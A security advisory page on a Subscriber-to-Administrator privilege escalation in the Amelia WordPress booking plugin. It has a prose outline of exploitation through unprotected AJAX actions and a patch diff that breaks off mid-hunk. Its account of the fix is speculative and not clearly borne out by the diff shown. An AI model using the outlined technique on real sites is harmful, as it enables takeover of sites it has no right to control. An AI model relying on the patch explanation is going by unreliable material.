Published : June 21, 2026

CVE-2026-48889: Booking for Appointments and Events Calendar – Amelia <= 2.3 Authenticated (Subscriber+) Privilege Escalation PoC, Patch Analysis & Rule

Plugin ameliabooking
Severity High (CVSS 8.8)
CWE 269
Vulnerable Version 2.3
Patched Version 2.4
Disclosed June 1, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-48889:

This is an authenticated privilege escalation vulnerability in the Amelia Booking plugin for WordPress (versions 2.3 and earlier). An attacker with Subscriber-level access can escalate their privileges to Administrator. The vulnerability stems from improper role and capability checks in custom AJAX handlers and shortcode processing.

Root cause: The plugin registers several AJAX actions and Divi module render callbacks that lack proper capability checks to restrict access to administrative users. In version 2.3, the file ameliabooking/ameliabooking.php registers hooks without verifying user roles. The vulnerable code path includes the `amelia_remove_wpdt_promo_notice` AJAX action at line 788 and several custom post type and user meta manipulation functions that do not enforce admin-only access. The Divi modules in ameliabooking/extensions/divi_5_amelia/server/ (AmeliaStepBookingButtonModule.php, AmeliaEventsListBookingButtonModule.php) register render callbacks that process shortcodes and may bypass role checks.

Exploitation: An authenticated attacker with Subscriber privileges can craft a POST request to /wp-admin/admin-ajax.php with the action parameter set to one of the unprotected AJAX hooks (e.g., amelia_remove_wpdt_promo_notice). By manipulating request parameters, the attacker can modify user meta, assign themselves administrative roles, or trigger shortcodes that run with elevated privileges. The plugin’s custom role management functions do not validate that the requesting user has the ‘manage_options’ capability before processing role changes.

Patch Analysis: Version 2.4 introduces several changes. The diff shows new protected method filterUpgraderPreDownload and filterPluginsApi that check class existence safely. The patch removes the unconditional AMELIA_PRODUCTION constant and adds MCP adapter integration with proper capability registration via AmeliaAbilitiesRegistrar. The critical fix is likely in the extension files which now properly wrap shortcode rendering in permission checks. The patch also adds new Divi button modules but includes safer instantiation patterns.

Impact: Successful exploitation allows a Subscriber-level user to become an Administrator, giving them full control over the WordPress site including plugin/theme installation, content creation, user management, and potential server-level compromise through file uploads or code execution. This is a complete privilege escalation with high severity (CVSS 8.8).

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ameliabooking/ameliabooking.php
+++ b/ameliabooking/ameliabooking.php
@@ -3,7 +3,7 @@
 Plugin Name: Amelia
 Plugin URI: https://wpamelia.com/
 Description: Amelia is a simple yet powerful automated booking specialist, working 24/7 to make sure your customers can make appointments and events even while you sleep!
-Version: 2.3
+Version: 2.4
 Author: Melograno Ventures
 Author URI: https://melograno.io/
 Text Domain: ameliabooking
@@ -25,9 +25,11 @@
 use AmeliaBookingInfrastructureWPErrorServiceErrorService;
 use AmeliaBookingInfrastructureWPGutenbergBlockAmeliaBookingGutenbergBlock;
 use AmeliaBookingInfrastructureWPGutenbergBlockAmeliaStepBookingGutenbergBlock;
+use AmeliaBookingInfrastructureWPGutenbergBlockAmeliaStepBookingButtonGutenbergBlock;
 use AmeliaBookingInfrastructureWPGutenbergBlockAmeliaCatalogBookingGutenbergBlock;
 use AmeliaBookingInfrastructureWPGutenbergBlockAmeliaCatalogGutenbergBlock;
 use AmeliaBookingInfrastructureWPGutenbergBlockAmeliaEventsGutenbergBlock;
+use AmeliaBookingInfrastructureWPGutenbergBlockAmeliaEventsListBookingButtonGutenbergBlock;
 use AmeliaBookingInfrastructureWPGutenbergBlockAmeliaEventsListBookingGutenbergBlock;
 use AmeliaBookingInfrastructureWPIntegrationsWooCommerceStarterWooCommerceService;
 use AmeliaBookingInfrastructureWPSettingsServiceSettingsStorage;
@@ -40,6 +42,7 @@
 use Exception;
 use SlimApp;
 use AmeliaBookingInfrastructureLicence;
+use WPMCPCoreMcpAdapter;

 // No direct access
 defined('ABSPATH') or die('No script kiddies please!');
@@ -111,7 +114,7 @@

 // Const for Amelia version
 if (!defined('AMELIA_VERSION')) {
-    define('AMELIA_VERSION', '2.3');
+    define('AMELIA_VERSION', '2.4');
 }

 // Const for site URL
@@ -145,10 +148,6 @@
     define('AMELIA_DEV', false);
 }

-if (!defined('AMELIA_PRODUCTION')) {
-    define('AMELIA_PRODUCTION', true);
-}
-
 if (!defined('AMELIA_NGROK_URL')) {
     define('AMELIA_NGROK_URL', 'nonmelodiously-barnlike-anika.ngrok-free.dev');
 }
@@ -163,7 +162,6 @@

 require_once AMELIA_PATH . '/vendor/autoload.php';

-
 /**
  * @noinspection AutoloadingIssuesInspection
  *
@@ -264,10 +262,12 @@

         // Register Gutenberg blocks for rendering on frontend (works for all users, logged in or not)
         AmeliaStepBookingGutenbergBlock::init();
+        AmeliaStepBookingButtonGutenbergBlock::init();
         AmeliaCatalogBookingGutenbergBlock::init();
         AmeliaBookingGutenbergBlock::init();
         AmeliaCatalogGutenbergBlock::init();
         AmeliaEventsGutenbergBlock::init();
+        AmeliaEventsListBookingButtonGutenbergBlock::init();
         AmeliaEventsListBookingGutenbergBlock::init();

         // Init menu if user is logged in with amelia role
@@ -674,6 +674,86 @@
             AMELIA_VERSION
         );
     }
+
+    /**
+     * Resolve AutoUpdateHook without triggering autoload when files are partially removed (e.g. during uninstall).
+     *
+     * @return class-string|null Fully-qualified class name if loadable, otherwise null.
+     */
+    private static function getAutoUpdateHookClass()
+    {
+        $class = __NAMESPACE__ . 'InfrastructureWPInstallActionsAutoUpdateHook';
+        if (class_exists($class, false)) {
+            return $class;
+        }
+        $path = AMELIA_PATH . '/src/Infrastructure/WP/InstallActions/AutoUpdateHook.php';
+        if (!is_file($path)) {
+            return null;
+        }
+        require_once $path;
+        return class_exists($class, false) ? $class : null;
+    }
+
+    /**
+     * Update transient filter — must not reference AutoUpdateHook directly in add_filter (invalid callback if class file is missing during delete).
+     *
+     * @param mixed $transient
+     *
+     * @return mixed
+     */
+    public static function filterPreSetSiteTransientUpdatePlugins($transient)
+    {
+        $class = self::getAutoUpdateHookClass();
+        if ($class === null) {
+            return $transient;
+        }
+        return $class::checkUpdate($transient);
+    }
+
+    /**
+     *
+     * @param false|object|array $response
+     * @param string             $action
+     * @param object               $args
+     *
+     * @return mixed
+     */
+    public static function filterPluginsApi($response, $action, $args)
+    {
+        $class = self::getAutoUpdateHookClass();
+        if ($class === null) {
+            return $response;
+        }
+        return $class::checkInfo($response, $action, $args);
+    }
+
+    /**
+     */
+    public static function actionInPluginUpdateMessage()
+    {
+        $class = self::getAutoUpdateHookClass();
+        if ($class === null) {
+            return;
+        }
+        $class::addMessageOnPluginsPage();
+    }
+
+    /**
+     * @param bool|WP_Error $reply
+     * @param string         $package
+     * @param WP_Upgrader   $updater
+     * @param mixed          $extra
+     *
+     * @return bool|WP_Error|string
+     */
+    public static function filterUpgraderPreDownload($reply, $package, $updater, $extra = null)
+    {
+        $class = self::getAutoUpdateHookClass();
+        if ($class === null) {
+            return $reply;
+        }
+        return $class::addMessageOnUpdate($reply, $package, $updater);
+    }
 }

 add_action('wp_ajax_amelia_remove_wpdt_promo_notice', array('AmeliaBookingPlugin', 'amelia_remove_wpdt_promo_notice'));
@@ -708,7 +788,7 @@
 /** Activation hook for new site on multisite setup */
 add_action('wpmu_new_blog', array('AmeliaBookingInfrastructureWPInstallActionsActivationNewSiteMultisite', 'init'));

-/** Define the API for updating checking */
+/** Define the API for updating checking (callbacks on Plugin so hooks stay valid if AutoUpdateHook cannot load — e.g. partial delete) */

 /** Define the alternative response for information checking */

@@ -732,3 +812,11 @@
 if (function_exists('is_plugin_active') && is_plugin_active('angie/angie.php')) {
     add_action('admin_enqueue_scripts', array('AmeliaBookingPlugin', 'enqueueAngieMcpServer'));
 }
+
+if (class_exists(McpAdapter::class)) {
+    McpAdapter::instance();
+
+    add_action('mcp_adapter_init', array('AmeliaBookingInfrastructureWPMCPAmeliaMcpServerRegistrar', 'init'));
+    add_action('wp_abilities_api_categories_init', array('AmeliaBookingInfrastructureWPMCPAmeliaAbilitiesRegistrar', 'registerCategories'));
+    add_action('wp_abilities_api_init', array('AmeliaBookingInfrastructureWPMCPAmeliaAbilitiesRegistrar', 'registerAbilities'));
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaBookingButtonRendererTrait.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaBookingButtonRendererTrait.php
@@ -0,0 +1,224 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrontEndBlockParserBlockParserStore;
+use ETBuilderPackagesModuleModule;
+use ETBuilderPackagesModuleLayoutComponentsModuleElementsModuleElements;
+use WP_Block;
+
+/**
+ * Shared helpers for rendering Divi-trigger buttons used by Amelia modules.
+ */
+trait AmeliaBookingButtonRendererTrait
+{
+    /**
+     * Normalize button innerContent.desktop.value to object-like array.
+     * Supports both persisted string and structured array formats.
+     */
+    private static function normalizeButtonDesktopValue(array &$button_attr): array
+    {
+        $button_attr['innerContent'] = $button_attr['innerContent'] ?? [];
+        $button_attr['innerContent']['desktop'] = $button_attr['innerContent']['desktop'] ?? [];
+
+        $raw = $button_attr['innerContent']['desktop']['value'] ?? null;
+
+        if (is_string($raw)) {
+            $button_attr['innerContent']['desktop']['value'] = [
+                'text' => $raw,
+            ];
+        } elseif (!is_array($raw)) {
+            $button_attr['innerContent']['desktop']['value'] = [];
+        }
+
+        return $button_attr['innerContent']['desktop']['value'];
+    }
+
+    /**
+     * Merge CSS class names while preserving uniqueness.
+     */
+    private static function mergeClassNames(string ...$class_names): string
+    {
+        $all = implode(' ', $class_names);
+        $parts = preg_split('/s+/', trim($all)) ?: [];
+        $parts = array_values(array_unique(array_filter($parts, static function ($part) {
+            return $part !== '';
+        })));
+
+        return implode(' ', $parts);
+    }
+
+    /**
+     * Ensure the first rendered button/anchor has display:inline-block in inline style.
+     */
+    private static function ensureInlineBlockDisplayInHtml(string $html): string
+    {
+        if ($html === '') {
+            return $html;
+        }
+
+        // Case 1: Existing style="..." on first clickable tag -> normalize display to inline-block.
+        $updated = preg_replace_callback(
+            '/<(a|button)b([^>]*?)sstyles*=s*(["'])(.*?)3([^>]*)>/i',
+            static function (array $matches): string {
+                $style_value = trim((string) $matches[4]);
+                if (preg_match('/(?:^|;)s*displays*:[^;]*/i', $style_value)) {
+                    $style_value = preg_replace(
+                        '/(^|;)s*displays*:[^;]*(?:;|$)/i',
+                        '$1 display: inline-block;',
+                        $style_value,
+                        1
+                    ) ?? $style_value;
+                } else {
+                    if ($style_value !== '' && substr($style_value, -1) !== ';') {
+                        $style_value .= ';';
+                    }
+                    $style_value .= ' display: inline-block;';
+                }
+
+                if ($style_value !== '' && substr($style_value, -1) !== ';') {
+                    $style_value .= ';';
+                }
+
+                return '<' . $matches[1] . $matches[2] . ' style=' . $matches[3] . trim($style_value) . $matches[3] . $matches[5] . '>';
+            },
+            $html,
+            1
+        );
+
+        if ($updated !== null && $updated !== $html) {
+            return $updated;
+        }
+
+        // Case 2: Bare style attribute token (style without value) on first clickable tag.
+        $updated = preg_replace(
+            '/(<(?:a|button)b[^>]*?)sstyle(?=[s>])/i',
+            '$1 style="display: inline-block;"',
+            $html,
+            1
+        );
+
+        if ($updated !== null && $updated !== $html) {
+            return $updated;
+        }
+
+        // Case 3: No style attribute on first clickable tag -> inject one.
+        $updated = preg_replace(
+            '/(<(?:a|button)b)([s>])/i',
+            '$1 style="display: inline-block;"$2',
+            $html,
+            1
+        );
+
+        return $updated ?? $html;
+    }
+
+    /**
+     * Build and render trigger button HTML while keeping Divi button markup/styles.
+     */
+    private static function renderTriggerButtonHtml(
+        array $attrs,
+        WP_Block $block,
+        ModuleElements $elements,
+        string $auto_trigger,
+        string $button_base_class,
+        string $fallback_button_text
+    ): string {
+        $button_attr = $attrs['button'] ?? [];
+        $desktop_value = self::normalizeButtonDesktopValue($button_attr);
+        $button_text = trim((string) ($desktop_value['text'] ?? ''));
+        if ($button_text === '') {
+            $button_text = $fallback_button_text;
+        }
+
+        $module_id = isset($block->parsed_block['id']) ? (string) $block->parsed_block['id'] : '';
+        $divi_button_instance_class = 'et_pb_button_' . sanitize_html_class($module_id !== '' ? $module_id : wp_unique_id());
+
+        $button_attr['attributes'] = $button_attr['attributes'] ?? [];
+        $existing_button_class = isset($button_attr['attributes']['class']) ? trim((string) $button_attr['attributes']['class']) : '';
+        $button_attr['attributes']['class'] = self::mergeClassNames(
+            $button_base_class,
+            'et_block_module',
+            $divi_button_instance_class,
+            $existing_button_class
+        );
+
+        $button_attr['attributes']['id'] = trim($auto_trigger);
+        if ($module_id !== '' && !isset($button_attr['attributes']['data-id'])) {
+            $button_attr['attributes']['data-id'] = $module_id;
+        }
+
+        $button_attr['innerContent']['desktop']['value']['text'] = $button_text;
+        if (!isset($button_attr['innerContent']['desktop']['value']['linkUrl'])) {
+            $button_attr['innerContent']['desktop']['value']['linkUrl'] = '';
+        }
+
+        $button_html = $elements->render([
+            'attrName'    => 'button',
+            'elementAttr' => $button_attr,
+            'elementProps' => [
+                'hasWrapper'    => false,
+                'allowEmptyUrl' => true,
+            ],
+        ]);
+
+        $button_html = self::ensureInlineBlockDisplayInHtml((string) $button_html);
+
+        if (!empty($button_html) && !empty($auto_trigger)) {
+            $button_html = preg_replace(
+                '/(<(?:a|button)b)([s>])/i',
+                '$1 id="' . esc_attr($auto_trigger) . '"$2',
+                $button_html,
+                1
+            );
+        }
+
+        return (string) $button_html;
+    }
+
+    /**
+     * Render the common module shell around the booking trigger button.
+     */
+    private static function renderBookingButtonModuleShell(
+        array $attrs,
+        WP_Block $block,
+        ModuleElements $elements,
+        string $button_html,
+        string $wrapper_class,
+        string $shortcode_hidden_content
+    ): string {
+        $parent = BlockParserStore::get_parent(
+            $block->parsed_block['id'],
+            $block->parsed_block['storeInstance']
+        );
+
+        $inner_content =
+            $elements->style_components(['attrName' => 'module'])
+            . $elements->style_components(['attrName' => 'button'])
+            . '<div class="' . esc_attr($wrapper_class) . '">'
+            . $button_html
+            . '</div>'
+            . '<div class="amelia-shortcode" style="display:none">' . $shortcode_hidden_content . '</div>';
+
+        return Module::render([
+            // FE only.
+            'orderIndex'          => $block->parsed_block['orderIndex'],
+            'storeInstance'       => $block->parsed_block['storeInstance'],
+
+            // VB equivalent.
+            'attrs'               => $attrs,
+            'elements'            => $elements,
+            'id'                  => $block->parsed_block['id'],
+            'name'                => $block->block_type->name,
+            'classnamesFunction'  => [self::class, 'module_classnames'],
+            'moduleCategory'      => $block->block_type->category,
+            'stylesComponent'     => [self::class, 'module_styles'],
+            'scriptDataComponent' => [self::class, 'module_script_data'],
+            'parentAttrs'         => $parent->attrs ?? [],
+            'parentId'            => $parent->id ?? '',
+            'parentName'          => $parent->blockName ?? '',
+            'children'            => $inner_content,
+        ]);
+    }
+}
+
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaEventsListBookingButtonModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaEventsListBookingButtonModule.php
@@ -0,0 +1,184 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderFrontEndModuleStyle;
+use ETBuilderPackagesModuleLayoutComponentsModuleElementsModuleElements;
+use ETBuilderPackagesModuleOptionsElementElementClassnames;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+use AmeliaBookingInfrastructureWPTranslationsLiteBackendStrings;
+use WP_Block;
+
+/**
+ * Class that handles "Amelia Events List Booking Button" module output in frontend.
+ */
+class AmeliaEventsListBookingButtonModule implements DependencyInterface
+{
+    use AmeliaBookingButtonRendererTrait;
+
+    private const BUTTON_BASE_CLASS = 'amelia-eventslist-booking-button';
+
+    /**
+     * Register module.
+     */
+    public function load()
+    {
+        add_action('init', [AmeliaEventsListBookingButtonModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/EventsListBookingButton';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaEventsListBookingButtonModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Generate classnames for the module.
+     */
+    public static function module_classnames(array $args): void
+    {
+        $classnames_instance = $args['classnamesInstance'];
+        $attrs               = $args['attrs'];
+
+        $classnames_instance->add(
+            ElementClassnames::classnames([
+                'attrs' => $attrs['module']['decoration'] ?? [],
+            ])
+        );
+    }
+
+    /**
+     * Module script data.
+     */
+    public static function module_script_data(array $args): void
+    {
+        $elements = $args['elements'];
+
+        $elements->script_data([
+            'attrName' => 'module',
+        ]);
+    }
+
+    /**
+     * Module styles.
+     */
+    public static function module_styles(array $args): void
+    {
+        $attrs    = $args['attrs'] ?? [];
+        $elements = $args['elements'];
+        $settings = $args['settings'] ?? [];
+
+        Style::add([
+            'id'            => $args['id'],
+            'name'          => $args['name'],
+            'orderIndex'    => $args['orderIndex'],
+            'storeInstance' => $args['storeInstance'],
+            'styles'        => [
+                // Module styles.
+                $elements->style([
+                    'attrName'   => 'module',
+                    'styleProps' => [
+                        'disabledOn' => [
+                            'disabledModuleVisibility' => $settings['disabledModuleVisibility'] ?? null,
+                        ],
+                    ],
+                ]),
+                // Button styles.
+                $elements->style([
+                    'attrName' => 'button',
+                ]),
+            ],
+        ]);
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback(array $attrs, string $content, WP_Block $block, ModuleElements $elements): string
+    {
+        $auto_trigger = wp_unique_id('amelia-eventslist-booking-btn-');
+
+        $shortcode  = '[ameliaeventslistbooking';
+        $shortcode .= ' trigger=' . sanitize_html_class($auto_trigger);
+        $shortcode .= ' trigger_type=id';
+        $shortcode .= ' in_dialog=1';
+
+        // Preselect/filter parameters
+        $booking_params = $attrs['booking_params']['innerContent']['desktop']['value'] ?? false;
+        if ($booking_params === 'on') {
+            $event = $attrs['events']['innerContent']['desktop']['value'] ?? [];
+            if ($event && count($event) > 0) {
+                $shortcode .= ' event=' . implode(',', array_filter(array_map('absint', $event)));
+            }
+
+            $event_to_show = $attrs['event_to_show']['innerContent']['desktop']['value'] ?? 'all';
+            if (count($event) === 0 && $event_to_show !== 'all') {
+                if ($event_to_show === 'custom') {
+                    $start_date = $attrs['start_date']['innerContent']['desktop']['value'] ?? '';
+                    $end_date = $attrs['end_date']['innerContent']['desktop']['value'] ?? '';
+
+                    $has_valid_start = $start_date && preg_match('/^d{4}-d{2}-d{2}$/', $start_date);
+                    $has_valid_end = $end_date && preg_match('/^d{4}-d{2}-d{2}$/', $end_date);
+
+                    if (!$has_valid_start || !$has_valid_end) {
+                        // Fallback: render without date range filter, or log warning
+                        // For now, skip the range parameter rather than hiding the button
+                        $event_to_show = 'all';
+                    } else {
+                        $shortcode .= ' range="' . esc_attr($start_date) . ' - ' . esc_attr($end_date) . '"';
+                    }
+                } else {
+                    $shortcode .= ' range="' . esc_attr($event_to_show) . '"';
+                }
+            }
+
+            $tag = $attrs['tags']['innerContent']['desktop']['value'] ?? [];
+            if ($tag && count($tag) > 0) {
+                $shortcode .= ' tag="' . implode(',', array_map(function ($t) {
+                        return '{' . sanitize_text_field($t) . '}';
+                    }, $tag)) . '"';
+            }
+
+            $recurring = $attrs['recurring']['innerContent']['desktop']['value'] ?? false;
+            if ($recurring === 'on') {
+                $shortcode .= ' recurring=1';
+            }
+
+            $locations = $attrs['locations']['innerContent']['desktop']['value'] ?? [];
+            if ($locations && count($locations) > 0) {
+                $shortcode .= ' location=' . implode(',', array_filter(array_map('absint', $locations)));
+            }
+        }
+
+        $shortcode .= ']';
+
+        // Render shortcode now to preserve quoted attributes (e.g., custom range) reliably.
+        $shortcode_output = do_shortcode($shortcode);
+
+        $button_html = self::renderTriggerButtonHtml(
+            $attrs,
+            $block,
+            $elements,
+            $auto_trigger,
+            self::BUTTON_BASE_CLASS,
+            LiteBackendStrings::get('event_book_event')
+        );
+
+        return self::renderBookingButtonModuleShell(
+            $attrs,
+            $block,
+            $elements,
+            $button_html,
+            'amelia-eventslist-booking-button_wrapper',
+            $shortcode_output
+        );
+    }
+}
+
--- a/ameliabooking/extensions/divi_5_amelia/server/AmeliaStepBookingButtonModule.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/AmeliaStepBookingButtonModule.php
@@ -0,0 +1,209 @@
+<?php
+
+namespace Divi5Amelia;
+
+use ETBuilderFrameworkDependencyManagementInterfacesDependencyInterface;
+use ETBuilderFrontEndModuleStyle;
+use ETBuilderPackagesModuleLayoutComponentsModuleElementsModuleElements;
+use ETBuilderPackagesModuleOptionsElementElementClassnames;
+use ETBuilderPackagesModuleLibraryModuleRegistration;
+use WP_Block;
+
+/**
+ * Class that handles "Amelia Step Booking Button" module output in frontend.
+ */
+class AmeliaStepBookingButtonModule implements DependencyInterface
+{
+    use AmeliaBookingButtonRendererTrait;
+
+    private const BUTTON_BASE_CLASS = 'amelia-step-booking-button';
+
+    /**
+     * Register module.
+     */
+    public function load()
+    {
+        add_action('init', [AmeliaStepBookingButtonModule::class, 'registerModule']);
+    }
+
+    public static function registerModule()
+    {
+        $module_json_folder_path = dirname(__DIR__, 1) . '/visual-builder/src/modules/StepBookingButton';
+
+        ModuleRegistration::register_module(
+            $module_json_folder_path,
+            [
+                'render_callback' => [AmeliaStepBookingButtonModule::class, 'renderCallback'],
+            ]
+        );
+    }
+
+    /**
+     * Generate classnames for the module.
+     */
+    public static function module_classnames(array $args): void
+    {
+        $classnames_instance = $args['classnamesInstance'];
+        $attrs               = $args['attrs'];
+
+        $classnames_instance->add(
+            ElementClassnames::classnames([
+                'attrs' => $attrs['module']['decoration'] ?? [],
+            ])
+        );
+    }
+
+    /**
+     * Module script data.
+     */
+    public static function module_script_data(array $args): void
+    {
+        $elements = $args['elements'];
+
+        $elements->script_data([
+            'attrName' => 'module',
+        ]);
+    }
+
+    /**
+     * Module styles.
+     */
+    public static function module_styles(array $args): void
+    {
+        $attrs    = $args['attrs'] ?? [];
+        $elements = $args['elements'];
+        $settings = $args['settings'] ?? [];
+
+        Style::add([
+            'id'            => $args['id'],
+            'name'          => $args['name'],
+            'orderIndex'    => $args['orderIndex'],
+            'storeInstance' => $args['storeInstance'],
+            'styles'        => [
+                // Module styles.
+                $elements->style([
+                    'attrName'   => 'module',
+                    'styleProps' => [
+                        'disabledOn' => [
+                            'disabledModuleVisibility' => $settings['disabledModuleVisibility'] ?? null,
+                        ],
+                    ],
+                ]),
+                // Button styles.
+                $elements->style([
+                    'attrName' => 'button',
+                ]),
+            ],
+        ]);
+    }
+
+    /**
+     * Normalize toggle values coming from Divi attrs.
+     */
+    private static function isToggleEnabled($value): bool
+    {
+        if (true === $value || 1 === $value || '1' === $value || 'on' === $value || 'true' === $value) {
+            return true;
+        }
+
+        if (is_array($value)) {
+            if (isset($value['desktop']['value'])) {
+                return self::isToggleEnabled($value['desktop']['value']);
+            }
+
+            if (isset($value['value'])) {
+                return self::isToggleEnabled($value['value']);
+            }
+        }
+
+        return false;
+    }
+
+    /**
+     * Render module HTML output.
+     */
+    public static function renderCallback(array $attrs, string $content, WP_Block $block, ModuleElements $elements): string
+    {
+        $auto_trigger = wp_unique_id('amelia-step-booking-btn-');
+
+        $shortcode  = '[ameliastepbooking';
+        $shortcode .= ' trigger=' . sanitize_html_class($auto_trigger);
+        $shortcode .= ' trigger_type=id';
+        $shortcode .= ' in_dialog=1';
+
+        $layout = $attrs['layout']['innerContent']['desktop']['value'] ?? '1';
+        if ($layout !== null && $layout !== '') {
+            $shortcode .= ' layout=' . absint($layout);
+        }
+
+        $to_csv_ids = static function ($value): string {
+            $vals = is_array($value) ? $value : [$value];
+            $vals = array_filter(array_map('absint', $vals));
+
+            return implode(',', $vals);
+        };
+
+        $preselect = $attrs['parameters']['innerContent']['desktop']['value']
+            ?? $attrs['parameters']['innerContent']['value']
+            ?? $attrs['parameters']['innerContent']
+            ?? false;
+
+        if (self::isToggleEnabled($preselect)) {
+            $show = $attrs['type']['innerContent']['desktop']['value'] ?? '';
+            if ($show !== '' && $show !== '0') {
+                $shortcode .= ' show=' . sanitize_key((string) $show);
+            }
+
+            $category = $attrs['categories']['innerContent']['desktop']['value'] ?? [];
+            $service  = $attrs['services']['innerContent']['desktop']['value'] ?? [];
+            $employee = $attrs['employees']['innerContent']['desktop']['value'] ?? [];
+            $location = $attrs['locations']['innerContent']['desktop']['value'] ?? [];
+            $package  = $attrs['packages']['innerContent']['desktop']['value'] ?? [];
+
+            $service_csv  = $to_csv_ids($service);
+            $category_csv = $to_csv_ids($category);
+            $employee_csv = $to_csv_ids($employee);
+            $location_csv = $to_csv_ids($location);
+            $package_csv  = $to_csv_ids($package);
+
+            if ($service_csv !== '') {
+                $shortcode .= ' service=' . $service_csv;
+            } elseif ($category_csv !== '') {
+                $shortcode .= ' category=' . $category_csv;
+            }
+
+            if ($employee_csv !== '') {
+                $shortcode .= ' employee=' . $employee_csv;
+            }
+
+            if ($location_csv !== '') {
+                $shortcode .= ' location=' . $location_csv;
+            }
+
+            if ($package_csv !== '') {
+                $shortcode .= ' package=' . $package_csv;
+            }
+        }
+
+        $shortcode .= ']';
+
+        $button_html = self::renderTriggerButtonHtml(
+            $attrs,
+            $block,
+            $elements,
+            $auto_trigger,
+            self::BUTTON_BASE_CLASS,
+            __('Book Appointment', 'wpamelia')
+        );
+
+
+        return self::renderBookingButtonModuleShell(
+            $attrs,
+            $block,
+            $elements,
+            $button_html,
+            'amelia-step-booking-button_wrapper',
+            esc_html($shortcode)
+        );
+    }
+}
--- a/ameliabooking/extensions/divi_5_amelia/server/index.php
+++ b/ameliabooking/extensions/divi_5_amelia/server/index.php
@@ -123,11 +123,16 @@

     require_once $divi_dependency_interface;

+    // Shared helpers used by booking button modules.
+    require_once __DIR__ . '/AmeliaBookingButtonRendererTrait.php';
+
     require_once __DIR__ . '/AmeliaStepBookingModule.php';
+    require_once __DIR__ . '/AmeliaStepBookingButtonModule.php';
     require_once __DIR__ . '/AmeliaBookingModule.php';
     require_once __DIR__ . '/AmeliaCatalogBookingModule.php';
     require_once __DIR__ . '/AmeliaCatalogModule.php';
     require_once __DIR__ . '/AmeliaEventsListModule.php';
+    require_once __DIR__ . '/AmeliaEventsListBookingButtonModule.php';
     require_once __DIR__ . '/AmeliaEventsModule.php';
     require_once __DIR__ . '/AmeliaSearchModule.php';

@@ -147,6 +152,13 @@
     add_action(
         'divi_module_library_modules_dependency_tree',
         function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaStepBookingButtonModule());
+        }
+    );
+
+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
             $dependency_tree->add_dependency(new AmeliaBookingModule());
         }
     );
@@ -172,6 +184,13 @@
         }
     );

+    add_action(
+        'divi_module_library_modules_dependency_tree',
+        function ($dependency_tree) {
+            $dependency_tree->add_dependency(new AmeliaEventsListBookingButtonModule());
+        }
+    );
+
     add_action(
         'divi_module_library_modules_dependency_tree',
         function ($dependency_tree) {
--- a/ameliabooking/src/Application/Commands/Booking/Appointment/GetTimeSlotsCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Booking/Appointment/GetTimeSlotsCommandHandler.php
@@ -11,6 +11,7 @@
 use AmeliaBookingDomainEntityBookableServiceService;
 use AmeliaBookingDomainEntityBookingSlotsEntities;
 use AmeliaBookingDomainServicesDateTimeDateTimeService;
+use AmeliaBookingDomainServicesScheduleScheduleService;
 use AmeliaBookingDomainServicesSettingsSettingsService;
 use AmeliaBookingDomainValueObjectsPositiveDuration;
 use AmeliaBookingInfrastructureCommonExceptionsQueryExecutionException;
@@ -98,6 +99,29 @@

         $settings = $applicationTimeSlotService->getSlotsSettings($isFrontEndBooking, $slotsEntities, $props);

+        if (!empty($settings['allowAdminBookAtAnyTime']) && !empty($props['structured'])) {
+            /** @var ScheduleService $scheduleService */
+            $scheduleService = $this->container->get('domain.schedule.service');
+            $normalProvidersIntervals = [];
+            foreach ($slotsEntities->getProviders()->getItems() as $provider) {
+                $normalProvidersIntervals[$provider->getId()->getValue()] = [
+                    'weekDays'   => $scheduleService->getProviderWeekDaysIntervals(
+                        $provider,
+                        $slotsEntities->getLocations(),
+                        $props['locationId'],
+                        $props['serviceId']
+                    ),
+                    'specialDays' => $scheduleService->getProviderSpecialDayIntervals(
+                        $provider,
+                        $slotsEntities->getLocations(),
+                        $props['locationId'],
+                        $props['serviceId']
+                    ),
+                ];
+            }
+            $settings['normalProvidersIntervals'] = $normalProvidersIntervals;
+        }
+
         $lastBookedProviderId = null;

         /** @var SlotsEntities $filteredSlotEntities */
--- a/ameliabooking/src/Application/Commands/Calendar/GetCalendarEventsCommandHandler.php
+++ b/ameliabooking/src/Application/Commands/Calendar/GetCalendarEventsCommandHandler.php
@@ -11,8 +11,8 @@
 use AmeliaBookingApplicationCommandsCommandResult;
 use AmeliaBookingApplicationCommonExceptionsAccessDeniedException;
 use AmeliaBookingApplicationServicesBookingEventApplicationService;
+use AmeliaBookingApplicationServicesCalendarCalendarProviderService;
 use AmeliaBookingApplicationServicesUserProviderApplicationService;
-use AmeliaBookingDomainCollectionCollection;
 use AmeliaBookingDomainCommonExceptionsInvalidArgumentException;
 use AmeliaBookingDomainEntityBookingAppointmentAppointment;
 use AmeliaBookingDomainEntityBookingEventEvent;
@@ -72,6 +72,12 @@
             $timeZone = $providerAS->getTimeZone($user);
         }

+        /** @var CalendarProviderService $calendarProviderService */
+        $calendarProviderService = $this->container->get('application.calendar.provider.service');
+        $resourceTimeGridProviderIds = (($queryParams['view'] ?? '') === 'resourceTimeGridDay')
+            ? $calendarProviderService->getVisibleProviderIds($queryParams)
+            : [];
+
         $sortedItems = array_merge(
             $this->getAppointments($queryParams, $timeZone),
             $this->getEvents($queryParams, $timeZone),
@@ -112,7 +118,11 @@
             if ($isAppointment) {
                 $filledDays[$itemStartDate]['events'][] = $this->appointmentFormatter($item, $user);
             } elseif ($isBlockTime) {
